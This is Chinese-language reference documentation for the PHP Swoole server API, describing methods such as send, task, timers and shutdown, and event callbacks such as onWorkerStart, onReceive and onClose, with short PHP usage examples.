Reload操作只能重新载入Worker进程启动后加载的PHP文件,建议使用get_included_files函数来列出哪些文件是在WorkerStart之前就加载的PHP文件,在此列表中的PHP文件,即使进行了reload操作也无法重新载入。比如要关闭服务器重新启动才能生效。
$serv->on('WorkerStart',function($serv,$workerId) {
var_dump(get_included_files()); //此数组中的文件表示进程启动前就加载了,所以无法reload
});
APC/OpCache
如果PHP开启了APC/OpCache,reload重载入时会受到影响,有2种解决方案
打开APC/OpCache的stat检测,如果发现文件更新APC/OpCache会自动更新OpCode
在onWorkerStart中执行apc_clear_cache或opcache_reset刷新OpCode缓存
【 Server->stop 】
使当前Worker进程停止运行并立即触发onWorkerStop回调函数,使用此函数代替exit/die结束Worker进程的生命周期
function Server->stop(int $worker_id = -1,bool $waitEvent = false);
$waitEvent可以控制退出策略,默认为false表示立即退出,设置为true表示等待事件循环为空时再退出
如果要结束其他Worker进程,可以在stop里面加上worker_id作为参数或使用swoole_process::kill($worker_pid)
异步退出
异步服务器在调用stop退出进程时可能仍然有事件在等待,比如使用了Swoole\MySQL->query,发送了SQL语句,但还在等待MySQL服务器返回结果。这时如果进程强制退出,SQL的执行结果就会丢失了。
设置$waitEvent = true后,底层会使用异步安全重启策略。先通知Manager进程,重新启动一个新的Worker来处理新的请求。当前旧的Worker会等待事件,直到事件循环为空或者超过max_wait_time后,退出进程,最大限度的保证异步事件的安全性。
【 Server->shutdown 】
关闭服务器
void Server->shutdown();
此函数可以用在Worker进程内。向主进程发送SIGTERM也可以实现关闭服务器。
kill -15 主进程PID
【 Server->tick 】
添加tick定时器,可以自定义回调函数。此函数是Swoole\Timer::tick的别名。
Worker进程结束运行后,所有定时器都会自动销毁
tick/after定时器不能在Server->start之前使用
在onReceive中使用在onWorkerStart中使用
【 Server->after 】
在指定的时间后执行函数,Server::after函数是一个一次性定时器,执行完成后就会销毁。此方法是swoole_timer_after函数的别名
Server->after(int $after_time_ms,mixed $callback_function);
$after_time_ms 指定时间,单位为毫秒,最大不得超过 86400000
$callback_function 时间到期后所执行的函数,必须是可以调用的。callback函数不接受任何参数
低于1.8.0版本task进程不支持after定时器,仅支持addtimer定时器
$after_time_ms
生命周期
定时器的生命周期是进程级的,当使用reload或kill重启关闭进程时,定时器会全部被销毁
如果有某些定时器存在关键逻辑和数据,请在onWorkerStop回调函数中实现保存
【 Server->defer 】
延后执行一个PHP函数。底层会在EventLoop循环完成后执行此函数。此函数的目的是为了让一些PHP代码延后执行,程序优先处理IO事件。底层不保证defer的函数会立即执行,如果是系统关键逻辑需要尽快执行,请使用after定时器实现
defer函数的别名是swoole_event_defer
function Server->defer(callable $callback);
$callback为可执行的函数变量,可以是字符串、数组、匿名函数
在onWorkerStart回调中执行defer时,必须要等到有事件发生才会回调
function query($server,$db) {
$server->defer(function() use ($db) {
$db->close();
});
}
【 Server->clearTimer 】
清除tick/after定时器,此函数是 swoole_timer_clear 的别名。
clearTimer仅可用于清除当前进程的定时器
$timer_id = $server->tick(1000,function ($id) use ($server) {
$server->clearTimer($id);
});
【 Server->close 】
Server主动关闭客户端连接,也会触发onClose事件,不要在close之后写清理逻辑,应当放置到onClose回调中处理
bool Server->close(int $fd,bool $reset = false);
操作成功返回true,失败返回false
$reset设置为true会强制关闭连接,丢弃发送队列中的数据
【 Server->send 】
向客户端发送数据,发送过程是异步的,底层会自动监听可写,将数据逐步发送给客户端
bool Server->send(mixed $fd,string $data,int $serverSocket = -1);
$fd,客户端的文件描述符
$data,发送的数据,TCP协议最大不得超过2M,可修改buffer_output_size改变允许发送的最大包长度
$serverSocket,向Unix Socket DGRAM对端发送数据时需要此项参数,TCP客户端不需要填写
发送成功会返回true;发送失败会返回false,调用$server->getLastError()方法可以得到失败的错误码
安全性
send操作具有原子性,多个进程同时调用send向同一个TCP连接发送数据,不会发生数据混杂
长度限制
如果要发送超过2M的数据,可以将数据写入临时文件,然后通过sendfile接口进行发送
通过设置buffer_output_size参数可以修改发送长度的限制
在发送超过8K的数据时,底层会启用Worker进程的共享内存,需要进行一次Mutex->lock操作
缓存区
当Worker进程的管道缓存区已满时,发送8K数据将启用临时文件存储
如果连续向同一个客户端发送大量数据,可能会导致Socket内存缓存区塞满,底层会立即返回false,应用程序可以调整socket_buffer_size设置,或 将数据保存到磁盘,等待客户端收完已发送的数据后再进行发送
协程调度
在协程模式下send遇到缓存区已满时会自动挂起,当触发onBufferEmpty时恢复协程,继续发送数据。
UnixSocket
监听UnixSocket DGRAM端口时,可以使用send向对端发送数据。
$serv->on("packet",function (Swoole\Server $serv,$data,$addr){
$serv->send($addr['address'],'SUCCESS',$addr['server_socket']);
});
【 Server->sendfile 】
发送文件到TCP客户端连接
bool Server->sendfile(int $fd,string $filename,int $offset =0,int $length = 0);
sendfile函数调用操作系统提供的sendfile系统调用,由操作系统直接读取文件并写入socket
因此sendfile只有2次内存拷贝,使用此函数可以降低发送大量文件时操作系统的CPU和内存占用
$filename 要发送的文件路径,如果文件不存在会返回false
$offset 指定文件偏移量,可以从文件的某个位置起发送数据。默认为0,表示从文件头部开始发送
$length 指定发送的长度,默认为文件尺寸。
操作成功返回true,失败返回false
此函数与Server->send都是向客户端发送数据,不同的是sendfile的数据来自于指定的文件
【 Server->sendto 】
向任意的客户端IP:PORT发送UDP数据包。
bool Server->sendto(string $ip,int $port,string $data,int $server_socket = -1);
$ip为IPv4或IPv6字符串,如192.168.1.102,如果IP不合法会返回错误
$port为1-65535的网络端口号,如果端口错误发送会失败
$data要发送的数据内容,可以是文本或者二进制内容
$server_socket 服务器可能会同时监听多个UDP端口,此参数可以指定使用哪个端口发送数据包
必须监听了UDP的端口,才可以使用向IPv4地址发送数据
必须监听了UDP6的端口,才可以使用向IPv6地址发送数据
//向IP地址为220.181.57.216主机的9502端口发送一个hello world字符串。
$server->sendto('220.181.57.216',9502,"hello world");
//向IPv6服务器发送UDP数据包
$server->sendto('2600:3c00::f03c:91ff:fe73:e98f',9501,"hello world");
【 Server->sendwait 】
同步地向客户端发送数据。
有一些特殊的场景,Server需要连续向客户端发送数据,而Server->send数据发送接口是纯异步的,大量数据发送会导致内存发送队列塞满。
使用Server->sendwait就可以解决此问题,Server->sendwait会等待连接可写,直到数据发送完毕才会返回。
bool Server->sendwait(int $fd,string $send_data);
sendwait目前仅可用于SWOOLE_BASE模式
sendwait建议只用于本机或内网通信,外网连接请勿使用sendwait
【 Server->sendMessage 】
向任意Worker进程或Task进程发送消息,在非主进程和管理进程中可调用,收到消息的进程会触发onPipeMessage事件
发送成功返回true,失败返回false
bool Server->sendMessage(mixed $message,int $dst_worker_id);
$message为发送的消息数据内容,没有长度限制,但超过8K时会启动内存临时文件
$dst_worker_id为目标进程的ID,范围是0 ~ (worker_num + task_worker_num - 1)
在Task进程内调用sendMessage是阻塞等待的,发送消息完成后返回
在Worker进程内调用sendMessage是异步的,消息会先存到发送队列,可写时向管道发送此消息
在User进程内调用sendMessage底层会自动判断当前的进程是异步还是同步选择不同的发送方式
使用sendMessage必须注册onPipeMessage事件回调函数
设置了task_ipc_mode = 3将无法使用sendMessage向特定的task进程发送消息
【 Server->exist 】
检测fd对应的连接是否存在,$fd对应的TCP连接存在返回true,不存在返回false
bool function Server->exist(int $fd)
此接口是基于共享内存计算,没有任何IO操作
【 Server->pause 】
停止接收数据。
function Server->pause(int $fd);
$fd为连接的文件描述符
调用此函数后会将连接从EventLoop中移除,不再接收客户端数据,不影响发送队列的处理
PROCESS模式下调用pause后可能有部分数据已经到达Worker进程,因此仍然可能会触发onReceive事件
【 Server->resume 】
恢复数据接收,调用此函数后会将连接重新加入到EventLoop中,继续接收客户端数据。与pause方法成对使用
function Server->resume(int $fd);
$fd为连接的文件描述符
【 Server->getClientInfo 】
用来获取连接的信息,别名是Server->connection_info
bool|array Server->getClientInfo(int $fd,int $extraData,bool $ignoreError = false)
如果传入的$fd存在,将会返回一个数组;连接不存在或已关闭返回false
第3个参数表示是否忽略错误,如果设置为true,即使连接关闭也会返回连接的信息
当dispatch_mode=1/3时,考虑到这种数据包分发策略用于无状态服务,当连接断开后相关信息会直接从内存中删除,所以swoole_server->getClientInfo是获取不到相关连接信息的。
$fdinfo = $serv->connection_info($fd);
var_dump($fdinfo);
array(5) {
["reactor_id"] => int(3)
["server_fd"] => int(14)
["server_port"] => int(9501)
["remote_port"] => int(19889)
["remote_ip"] => string(9) "127.0.0.1"
["connect_time"] => int(1390212495)
["last_time"] => int(1390212760)
}
$udp_client = $serv->connection_info($fd,$from_id);
var_dump($udp_client);
reactor_id 来自哪个Reactor线程
server_fd 来自哪个监听端口socket,这里不是客户端连接的fd
server_port 来自哪个监听端口
remote_port 客户端连接的端口
remote_ip 客户端连接的IP地址
connect_time 客户端连接到Server的时间,单位秒,由master进程设置
last_time 最后一次收到数据的时间,单位秒,由master进程设置
close_errno 连接关闭的错误码,如果连接异常关闭,close_errno的值是非零,可以参考Linux错误信息列表
websocket_status [可选项] WebSocket连接状态,当服务器是Swoole\WebSocket\Server时会额外增加此项信息
uid [可选项] 使用bind绑定了用户ID时会额外增加此项信息
ssl_client_cert [可选项] 使用SSL隧道加密,并且客户端设置了证书时会额外添加此项信息
【 Server->getClientList 】
遍历当前Server所有的客户端连接,Server::getClientList方法是基于共享内存的,不存在IOWait,遍历的速度很快
getClientList会返回所有TCP连接,而不仅仅是当前Worker进程的TCP连接。
getClientList仅可用于TCP客户端,UDP服务器需要自行保存客户端信息
推荐使用Server::$connections迭代器来遍历连接,getClientList的别名是connection_list
SWOOLE_BASE模式下只能获取当前进程的连接
Server::getClientList(int $start_fd = 0,int $pagesize = 10);
此函数接受2个参数,第1个参数是起始fd,第2个参数是每页取多少条,最大不得超过100。
调用成功将返回一个数字索引数组,元素是取到的$fd。数组会按从小到大排序。最后一个$fd作为新的start_fd再次尝试获取
调用失败返回false
【 Server->bind 】
将连接绑定一个用户定义的UID,可以设置dispatch_mode=5设置以此值进行hash固定分配。可以保证某一个UID的连接全部会分配到同一个Worker进程。
在默认的dispatch_mode=2设置下,server会按照socket fd来分配连接数据到不同的Worker进程。因为fd是不稳定的,一个客户端断开后重新连接,fd会发生改变。这样这个客户端的数据就会被分配到别的Worker。使用bind之后就可以按照用户定义的UID进行分配。即使断线重连,相同UID的TCP连接数据会被分配相同的Worker进程。
bool Server::bind(int $fd,int $uid)
$fd 连接的文件描述符
$uid 指定UID
未绑定UID时默认使用fd取模进行分配
同一个连接只能被bind一次,如果已经绑定了UID,再次调用bind会返回false
可以使用$serv->connection_info($fd) 查看连接所绑定UID的值
时序问题
客户端连接服务器后,连续发送多个包,可能会存在时序问题。在bind操作时,后续的包可能已经dispatch,这些数据包仍然会按照fd取模分配到当前进程。只有在bind之后新收到的数据包才会按照UID取模分配。
因此如果要使用bind机制,网络通信协议需要设计握手步骤。客户端连接成功后,先发一个握手请求,之后客户端不要发任何包。在服务器bind完后,并回应之后。客户端再发送新的请求。
【 array Server->stats(); 】
得到当前Server的活动TCP连接数、启动时间、accpet/close的总次数等信息
start_time 服务器启动的时间,如1409831644
connection_num 当前连接的数量
accept_count 接受了多少个连接
close_count 关闭的连接数量
tasking_num 当前正在排队的任务数
请求数量
request_count => 1000,Server收到的请求次数
worker_request_count => 当前Worker进程收到的请求次数
消息队列状态
1.8.5版本增加了Task消息队列的统计数据。
array (
'task_queue_num' => 10, // 消息队列中的task数量
'task_queue_bytes' => 65536, // 消息队列的内存占用字节数
);
协程相关
array ( 'coroutine_num' => 10, );
当前协程数量coroutine_num
【 Server->task 】
投递一个异步任务到task_worker池中。此函数是非阻塞的,执行完毕会立即返回,Worker进程可以继续处理新的请求。
使用Task功能必须先设置task_worker_num,并且必须设置Server的onTask和onFinish事件回调函数。
int Server::task(mixed $data,int $dst_worker_id = -1)
$task_id = $serv->task("some data");
$serv->task("taskcallback",-1,function (swoole_server $serv,$task_id,$data) {
echo "Task Callback: ";
var_dump($task_id,$data);
});
参数
$data要投递的任务数据,必须是可序列化的PHP变量
$dst_worker_id可以制定要给投递给哪个Task进程,传入ID即可,范围是0 - (serv->task_worker_num -1),默认为随机投递
1.8.6版本增加了第三个参数,可以直接设置onFinish函数,如果任务设置了回调函数,Task返回结果时会直接执行指定的回调函数,不再执行Server的onFinish回调
调用成功返回值为整数$task_id,表示此任务的ID。如果有finish回应,onFinish回调中会携带$task_id参数
调用失败返回值为false,$task_id可能为0,因此必须使用===判断是否失败
未指定目标Task进程,调用task方法会判断Task进程的忙闲状态,底层只会向处于空闲状态的Task进程投递任务。如果所有Task进程均处于忙的状态,底层会轮询投递任务到各个进程。可以使用server->stats方法获取当前正在排队的任务数量。
$task_id是从0-42亿的整数,在当前进程内是唯一的
task方法不能在task进程/用户自定义进程中调用
此功能用于将慢速的任务异步地去执行,比如一个聊天室服务器,可以用它来进行发送广播。当任务完成时在task进程中调用$serv->finish("finish")告诉worker进程此任务已完成。当然swoole_server->finish是可选的。
task底层使用Unix Socket管道通信,是全内存的,没有IO消耗。单进程读写性能可达100万/s,不同的进程使用不同的管道通信,可以最大化利用多核。
AsyncTask功能在1.6.4版本增加,默认不启动task功能,需要在手工设置task_worker_num来启动此功能
task_worker的数量在swoole_server::set参数中调整,如task_worker_num=>64表示启动64个进程来接收异步任务
配置参数
swoole_server->task/taskwait/finish 3个方法当传入的$data数据超过8K时会启用临时文件来保存。当临时文件内容超过server->package_max_length时底层会抛出一个警告。此警告不影响数据的投递,过大的Task可能会存在性能问题。
WARN: task package is too big.
server->package_max_length 默认为2M
task操作的次数必须小于onTask处理速度,如果投递容量超过处理能力,task会塞满缓存区,导致worker进程发生阻塞。worker进程将无法接收新的请求
使用addProcess添加的用户进程中无法使用task投递任务,请使用sendMessage接口与Task工作进程通信
【 Server->taskwait 】 string | bool function Server->taskwait(mixed $data,float $timeout=0.5,int $dstWorkerId=-1) taskwait与task方法作用相同,用于投递一个异步的任务到task进程池去执行,不同的是taskwait是同步等待的,直到任务完成或超时返回。 $result为任务执行的结果,由$serv->finish函数发出,如果此任务超时这里会返回false。 第1个参数为投递的任务数据,可以是任意类型,非字符串类型底层会自动进行串化 第2个参数为超时时间,浮点型,单位为秒,最小支持1ms粒度,超过规定时间内Task进程未返回数据,taskwait将返回false,不再处理后续的任务结果数据 第3个参数可以指定要给投递给哪个Task进程,传入ID即可,范围是0 - serv->task_worker_num,指定目标Task进程的ID,默认为-1表示随机投递,底层会自动选择一个空闲Task进程 4.0.4以下版本中taskwait是阻塞接口,如果你的Server是全异步的请使用swoole_server::task和swoole_server::finish,不要使用taskwait 4.0.4以上版本中taskwait底层会进行协程调度,实现完全的异步IO taskwait方法不能在task进程中调用 协程 从4.0.4版本开始taskwait方法将支持协程调度,在协程中调用Server->taskwait()时将自动进行协程调度,不再阻塞等待。 借助协程调度器,taskwait可以实现并发调用。 特例 如果onTask中没有任何阻塞IO操作,底层仅有2次进程切换的开销,并不会产生IO等待,因此这种情况下 taskwait 可以视为非阻塞。实际测试onTask中仅读写PHP数组,进行10万次taskwait操作,总耗时仅为1秒,平均每次消耗为10微秒 【 Server->taskWaitMulti 】 并发执行多个task异步任务 array Server->taskWaitMulti(array $tasks,double $timeout = 0.5); $tasks 必须为数字索引数组,不支持关联索引数组,底层会遍历$tasks将任务逐个投递到Task进程 $timeout 为浮点型,单位为秒,默认为0.5 任务完成或超时返回结果数组。结果数组中每个任务结果的顺序与$tasks对应,如$tasks[2]对应的结果为$result[2] 某个任务执行超时不会影响其他任务,返回的结果数据中将不包含超时的任务 最大并发任务不得超过1024
【 Server->taskCo 】 并发执行Task并进行协程调度。仅用于2.0版本。 function Server->taskCo(array $tasks,float $timeout = 0.5) : array; $tasks任务列表,必须为数组。底层会遍历数组,将每个元素作为task投递到Task进程池 $timeout超时时间,默认为0.5秒,当规定的时间内任务没有全部完成,立即中止并返回结果 任务完成或超时,返回结果数组。结果数组中每个任务结果的顺序与$tasks对应,如$tasks[2]对应结果为$result[2] 某个任务执行失败或超时,对应的结果数组项为false,如: $tasks[2]失败了,那么$result[2]的值为false 最大并发任务不得超过1024 调度过程 $tasks列表中的每个任务会随机投递到一个Task工作进程,投递完毕后,yield让出当前协程,并设置一个$timeout秒的定时器 在onFinish中收集对应的任务结果,保存到结果数组中。判断是否所有任务都返回了结果,如果为否,继续等待。如果为是,进行resume恢复对应协程的运行,并清除超时定时器 在规定的时间内任务没有全部完成,定时器先触发,底层清除等待状态。将未完成的任务结果标记为false,立即resume对应协程
【 Server->finish 】
用于在Task进程中通知Worker进程,投递的任务已完成。此函数可以传递结果数据给Worker进程。
function Server->finish(mixed $response);
使用Server->finish函数必须为Server设置onFinish回调函数。此函数只可用于Task进程的onTask回调中
finish方法可以连续多次调用,Worker进程会多次触发onFinish事件
在onTask回调函数中调用过finish方法后,return数据依然会触发onFinish事件
Server->finish是可选的。如果Worker进程不关心任务执行的结果,不需要调用此函数
在onTask回调函数中return字符串,等同于调用finish
【 Server->heartbeat 】
array Server::heartbeat(bool $if_close_connection = true);
检测服务器所有连接,并找出已经超过约定时间的连接。如果指定if_close_connection则自动关闭超时的连接,未指定仅返回连接的fd数组。
调用成功将返回一个连续数组,元素是已关闭的$fd,调用失败返回false
$closeFdArrary = $serv->heartbeat();
【 Server->getLastError 】
获取最近一次操作错误的错误码。业务代码中可以根据错误码类型执行不同的逻辑,返回一个整型数字错误码
function Server->getLastError()
发送失败错误
1001 连接已经被Server端关闭了,出现这个错误一般是代码中已经执行了$serv->close()关闭了某个连接,但仍然调用$serv->send()向这个连接发送数据
1002 连接已被Client端关闭了,Socket已关闭无法发送数据到对端
1003 正在执行close,onClose回调函数中不得使用$serv->send()
1004 连接已关闭
1005 连接不存在,传入$fd 可能是错误的
1007 接收到了超时的数据,TCP关闭连接后,可能会有部分数据残留在管道缓存区内,这部分数据会被丢弃
1008 发送缓存区已满无法执行send操作,出现这个错误表示这个连接的对端无法及时收数据导致发送缓存区已塞满
1202 发送的数据超过了 server->buffer_output_size 设置
进程错误
9007: 仅在使用dispatch_mode=3时出现,表示当前没有可用的进程,建议调大worker_num进程数量
【 Server->getSocket 】
调用此方法可以得到底层的socket句柄,返回的对象为sockets资源句柄。
此方法需要依赖PHP的sockets扩展,并且编译swoole时需要开启--enable-sockets选项
使用socket_set_option函数可以设置更底层的一些socket参数。
$socket = $server->getSocket();
if (!socket_set_option($socket,SOL_SOCKET,SO_REUSEADDR,1)) {
echo 'Unable to set option on socket: '. socket_strerror(socket_last_error()) . PHP_EOL;
}
监听端口
使用listen方法增加的端口,可以使用Swoole\Server\Port对象提供的getSocket方法。
$port = $server->listen('127.0.0.1',9502,SWOOLE_SOCK_TCP);
$socket = $port->getSocket();
支持组播
使用socket_set_option设置MCAST_JOIN_GROUP参数可以将Socket加入组播,监听网络组播数据包。
【 Server->protect 】 设置客户端连接为保护状态,不被心跳线程切断。 function Server->protect(int $fd,bool $value = 1); $fd 要设置保护状态的客户端连接fd $value 设置的状态,true表示保护状态,false表示不保护 【 Server->confirm 】 确认连接,与enable_delay_receive配合使用。当客户端建立连接后,并不监听可读事件,仅触发onConnect事件回调,在onConnect回调中执行confirm确认连接,这时服务器才会监听可读事件,接收来自客户端连接的数据。 function Server->confirm(int $fd); $fd 连接的唯一标识符 确认成功返回true, $fd对应的连接不存在、已关闭或已经处于监听状态时,返回false,确认失败 用途 此方法一般用于保护服务器,避免收到流量过载攻击。当收到客户端连接时onConnect函数触发,可判断来源IP,是否允许向服务器发送数据。
Swoole server事件回调函数 共支持13种事件
Swoole\Server是事件驱动模式,所有的业务逻辑代码必须写在事件回调函数中。当特定的网络事件发生后,底层会主动回调指定的PHP函数 在swoole中,一个swoole_server的拥有若干回调函数,这些回调函数决定了swoole_server的相关功能。可以通过$serv->on( string $event,mixed $callback );函数来配置 【 PHP中可以使用4种回调函数的风格 】
【 事件执行顺序 】
所有事件回调均在$server->start后发生
服务器关闭程序终止时最后一次事件是onShutdown
服务器启动成功后,onStart/onManagerStart/onWorkerStart会在不同的进程内并发执行
onReceive/onConnect/onClose在Worker进程中触发
Worker/Task进程启动/结束时会分别调用一次onWorkerStart/onWorkerStop
onTask事件仅在task进程中发生
onFinish事件仅在worker进程中发生
onStart/onManagerStart/onWorkerStart 3个事件的执行顺序是不确定的
【 异常捕获 】
swoole不支持set_exception_handler函数,如果PHP代码有抛出异常逻辑,必须在事件回调函数顶层进行try/catch来捕获异常
$serv->on('Receive',function() {
try{
//some code
}catch(Exception $e){
//exception code
}
}
【 协程模式 】
Swoole2/4版本支持了协程,使用协程后事件回调函数将会并发地执行。协程是一种用户态线程实现,没有额外的调度消耗,仅占用内存。使用协程模式可以理解为"每次事件回调函数都会创建一个新的线程去执行,事件回调函数执行完成后,线程退出"。
如果希望关闭协程,可设置:
$server->set(["enable_coroutine" => false,]);
【 onStart 】
服务器启动的回调
函数原型: function onStart( swoole_server $serv);
onStart事件在Master进程的主线程中被调用。在此回调响应之前Swoole Server已进行了如下操作
已创建了manager进程
已创建了worker子进程
已监听所有TCP/UDP端口
已监听了定时器
接下来要执行
主Reactor开始接收事件,客户端可以connect到Server
onStart回调中,仅允许echo、打印Log、修改进程名称,不得执行其他操作,不能调用server相关函数等操作,因为服务尚未就绪
onWorkerStart和onStart回调是在不同进程中并行执行的,不存在先后顺序。
可以在onStart回调中,将$serv->master_pid和$serv->manager_pid的值保存到一个文件中,这样可以编写脚本向这两个PID发送信号来实现关闭和重启的操作。
从1.7.5+ Master进程内不再支持定时器,onMasterConnect/onMasterClose2个事件回调也彻底移除。Master进程内不再保留任何PHP的接口。
在onStart中创建的全局资源对象不能在worker进程中被使用,因为发生onStart调用时,worker进程已经创建好了。新创建的对象在主进程内,worker进程无法访问到此内存区域,因此全局对象创建的代码需要放置在swoole_server_start之前。
安全提示
onStart和onShutdown事件是在master进程的master线程内执行,执行过多异步IO操作可能会带来安全隐患,因此底层关闭了异步IO。
onStart回调在return之前服务器程序不会接受任何客户端连接,因此可以安全地使用CURL等PHP提供的同步IO函数
【 onShutdown 】
此事件在Server正常结束时发生
函数原型: function onShutdown(swoole_server $server);
在此之前Swoole\Server已进行了如下操作:
已关闭所有Reactor线程、HeartbeatCheck线程、UdpRecv线程
已关闭所有Worker进程、Task进程、User进程
已close所有TCP/UDP/UnixSocket监听端口
已关闭主Reactor
强制kill进程不会回调onShutdown,如kill -9
需要使用kill -15来发送SIGTREM信号到主进程才能按照正常的流程终止
在命令行中使用Ctrl+C中断程序会立即停止,底层不会回调onShutdown
不能在onShutdown中调用任何异步或协程相关API,因为触发onShutdown时底层已销毁了所有事件循环设施。
【 onWorkerStart 】
Worker进程启动的回调,此事件在Worker进程/Task进程启动时发生,这里创建的对象可以在进程生命周期内使用
函数原型: function onWorkerStart( swoole_server $serv,int $worker_id);
参数$worker_id表示Worker进程的id
onWorkerStart/onStart是并发执行的,没有先后顺序
可以通过$server->taskworker属性来判断当前是Worker进程还是Task进程
设置了worker_num和task_worker_num超过1时,每个进程都会触发一次onWorkerStart事件,可通过判断$worker_id区分不同的工作进程,$worker_id >= $serv->setting['worker_num']时表示这个进程是task_worker
由worker进程向task进程发送任务,task进程处理完全部任务之后通过onFinish回调函数通知worker进程。例如在后台操作向十万个用户群发通知邮件,操作完成后操作的状态显示为发送中,这时可以继续其他操作。等邮件群发完毕后,操作的状态自动改为已发送
发生PHP致命错误或代码中主动调用exit时,Worker/Task进程会退出,管理进程会重新创建新的进程,这可能导致死循环,不停地创建销毁进程
为Worker进程/Task进程重命名
如果想使用swoole_server_reload实现代码重载入,必须在workerStart中require业务文件,而不是在文件头部。在onWorkerStart调用之前已包含的文件,不会重新载入代码。
可以将公用的、不易变的php文件放置到onWorkerStart之前。这样虽然不能重载入代码,但所有worker是共享的,不需要额外的内存来保存这些数据。
onWorkerStart之后的代码每个worker都需要在内存中保存一份 $worker_id是一个从0-$worker_num之间的数字,表示这个worker进程的ID,$worker_id和进程PID没有任何关系,可使用posix_getpid函数获取PID
【 onWorkerStop 】
此事件在worker进程终止时发生,在此函数中可以回收worker进程申请的各类资源。
原型: function onWorkerStop(swoole_server $server,int $worker_id);
$worker_id是一个从0-$worker_num之间的数字,表示这个worker进程的ID
$worker_id和进程PID没有任何关系
进程异常结束,如被强制kill、致命错误、core dump 时无法执行onWorkerStop回调函数
【 onWorkerExit 】
仅在开启reload_async特性后有效。异步重启特性会先创建新的Worker进程处理新请求,旧的Worker进程自行退出。
原型: function onWorkerExit(swoole_server $server,int $worker_id);
Worker进程未退出,onWorkerExit会持续触发
onWorkerExit仅在Worker进程内触发,Task进程不执行onWorkerExit
旧的Worker进程,在退出时先会执行一次onWorkerStop事件回调,然后会在事件循环的每个周期结束时调用onWorkerExit通知Worker进程退出。
在onWorkerExit中尽可能地移除/关闭异步的Socket连接,最终底层检测到Reactor中事件监听的句柄数量为0时退出进程。
【 onConnect 】
新连接接入时的回调,在worker进程中回调
函数原型: function onConnect( swoole_server $serv,int $fd,int $from_id);
$serv swoole_server对象
$fd 连接的文件描述符,发送数据/关闭连接时需要此参数
$from_id reactor的id,来自哪个Reactor线程
有新的连接进入时,在worker进程中回调。onConnect/onClose这2个回调发生在worker进程内,而不是主进程。如果需要在主进程处理连接/关闭事件,请注册onMasterConnect/onMasterClose回调。onMasterConnect/onMasterClose回调总是先于onConnect/onClose被执行
onConnect/onClose这2个回调发生在worker进程内,而不是主进程。
UDP协议下只有onReceive事件,没有onConnect/onClose事件
当设置dispatch_mode = 1/3时会自动去掉onConnect/onClose事件回调。原因是:
在此模式下onConnect/onReceive/onClose可能会被投递到不同的进程。连接相关的PHP对象数据,无法实现在onConnect回调初始化数据,onClose清理数据
onConnect/onReceive/onClose 3种事件可能会并发执行,可能会带来异常
【 onReceive 】
接收数据的回调,发生在worker进程中
函数原型: function onReceive( swoole_server $serv,$fd,$from_id,$data );
$serv swoole_server对象
$fd TCP客户端连接的唯一标识符
$from_id TCP连接所在的Reactor线程ID
$data 接收到的数据,可能是文本或者二进制内容
未开启swoole的自动协议选项,onReceive回调函数单次收到的数据最大为64K
每当server接收到客户端发来的数据后就会通过onReceive回调将数据投递给Worker。如果开启了协议检测则会在收到完整数据包之后才会响应回调。必须设置该回调函数,否则无法启动服务器。
UDP协议onReceive可以保证总是收到一个完整的包,最大长度不超过64K
UDP协议下$fd参数是对应客户端的IP,$reactor_id是客户端的端口和来源端口,客户端ip等于long2ip(unpack('N',pack('L',$fd))[1])
TCP协议是流式的,onReceive无法保证数据包的完整性,可能会同时收到多个请求包,也可能只收到一个请求包的一部分数据
swoole只负责底层通信,$data是通过网络接收到的原始数据。对数据解包打包需要在PHP代码中自行实现
如果开启了eof_check/length_check/http_protocol,$data的长度可能会超过64K,但最大不超过$server->setting['package_max_length']
onReceive回调不再支持UDP Server
关于TCP协议下包完整性
使用swoole提供的open_eof_check/open_length_check/open_http_protocol,可以保证数据包的完整性
不使用swoole的协议处理,在onReceive后PHP代码中自行对数据分析,合并/拆分数据包。
例如: 代码中可以增加一个$buffer = array(),使用$fd作为key来保存上下文数据。 每次收到数据进行字符串拼接,$buffer[$fd] .= $data,然后在判断$buffer[$fd]字符串是否为一个完整的数据包。
默认情况下同一个fd会被分配到同一个worker中,所以数据可以拼接起来。使用dispatch_mode=3时请求数据是抢占式的,同一个fd发来的数据可能会被分到不同的进程。所以无法使用上述的数据包拼接方法
关于粘包问题,如SMTP协议,客户端可能会同时发出2条指令。在swoole中可能是一次性收到的,这时应用层需要自行拆包。smtp是通过\r\n来分包的,所以业务代码中需要 explode("\r\n",$data)来拆分数据包。
如果是请求应答式的服务,无需考虑粘包问题。原因是客户端在发起一次请求后,必须等到服务器端返回当前请求的响应数据才会发起第二次请求,不会同时发送2个请求。
多端口监听
当主服务器设置了协议后,额外监听的端口默认会继承主服务器的设置。需要显式调用set方法来重新设置端口的协议。
$serv = new swoole_http_server("127.0.0.1",9501);
$port2 = $serv->listen('127.0.0.1',9502,SWOOLE_SOCK_TCP);
$port2->on('receive',function (swoole_server $serv,$fd,$reactor_id,$data) {
echo "[#".$serv->worker_id."]\tClient[$fd]: $data\n";
});
这里虽然调用了on方法注册了onReceive回调函数,但由于没有调用set方法覆盖主服务器的协议,新监听的9502端口依然使用Http协议。使用telnet客户端连接9502端口发送字符串时服务器不会触发onReceive。
【 onPacket 】
接收到UDP数据包时回调此函数,发生在worker进程中。
函数原型: function onPacket(swoole_server $server,string $data,array $client_info);
$data参数表示收到的数据内容,可能是文本或者二进制内容
$client_info参数表示客户端信息包括address/port/server_socket这3项数据
服务器同时监听TCP/UDP端口时,收到TCP协议的数据会回调onReceive,收到UDP数据包回调onPacket,服务器设置的EOF或Length协议对UDP端口是不生效的,因为UDP包本身存在消息边界,不需要额外的协议处理。
如果未设置onPacket回调函数,收到UDP数据包默认会回调onReceive函数
数据转换
onPacket回调可以通过计算得到onReceive的$fd和$reactor_id参数值。计算方法如下:
$fd = unpack('L',pack('N',ip2long($addr['address'])))[1];
$reactor_id = ($addr['server_socket'] << 16) + $addr['port'];
【 onClose 】
TCP客户端连接关闭后,在worker进程中回调此函数
函数原型: function onClose( swoole_server $serv,int $fd,int $reactorId);
$fd 连接的文件描述符
$reactorId reactor的id
onClose回调函数如果发生了致命错误,会导致连接泄漏。通过netstat命令会看到大量CLOSE_WAIT状态的TCP连接
无论由客户端发起close还是服务器端主动调用$serv->close()关闭连接都会触发此事件,因此只要连接关闭就一定会回调此函数
1.7.7+版本以后onClose中依然可以调用connection_info方法获取到连接信息,在onClose回调函数执行完毕后才会调用close关闭TCP连接
这里回调onClose时表示客户端连接已经关闭,所以无需执行$server->close($fd)。代码中执行$serv->close($fd)会抛出PHP错误告警。
主动关闭
当服务器主动关闭连接时底层会设置$reactorId参数为-1,可以通过判断$reactorId < 0来分辨关闭是由服务器端还是客户端发起的。
